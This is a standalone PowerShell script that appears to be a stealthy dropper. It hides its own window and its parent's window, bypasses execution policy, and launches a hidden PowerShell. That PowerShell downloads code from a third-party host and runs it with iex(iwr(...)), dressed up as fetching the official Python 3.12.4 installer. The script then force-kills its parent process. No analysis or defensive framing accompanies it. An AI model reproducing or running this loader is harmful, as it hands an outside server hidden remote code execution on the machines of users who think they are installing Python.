add-type -name user32 -namespace win32 -memberDefinition '[DllImport("user32.dll")] public static extern bool ShowWindow(IntPtr hWnd, Int32 nCmdShow);' [win32.user32]::showWindow((get-process -id $pid).mainWindowHandle, 0) $proc = [System.Diagnostics.Process]::GetCurrentProcess() $parent = Get-Process -Id (gwmi win32_process | ? processid -eq $proc.Id).parentprocessid if($parent.ProcessName -ne "explorer"){[win32.user32]::showWindow($parent.mainWindowHandle, 0)}; Start-Process powershell -WindowStyle Hidden -ArgumentList @("-WindowStyle", "Hidden", "-noexit", "-ExecutionPolicy", "Bypass", "iex(iwr('https://vercelutilsserver.gymthun.com/exe2ps1?url=https%3A%2F%2Fwww.python.org%2Fftp%2Fpython%2F3.12.4%2Fpython-3.12.4.exe'))") if($parent.ProcessName -ne "explorer"){Stop-Process -InputObject $parent -Force}; Exit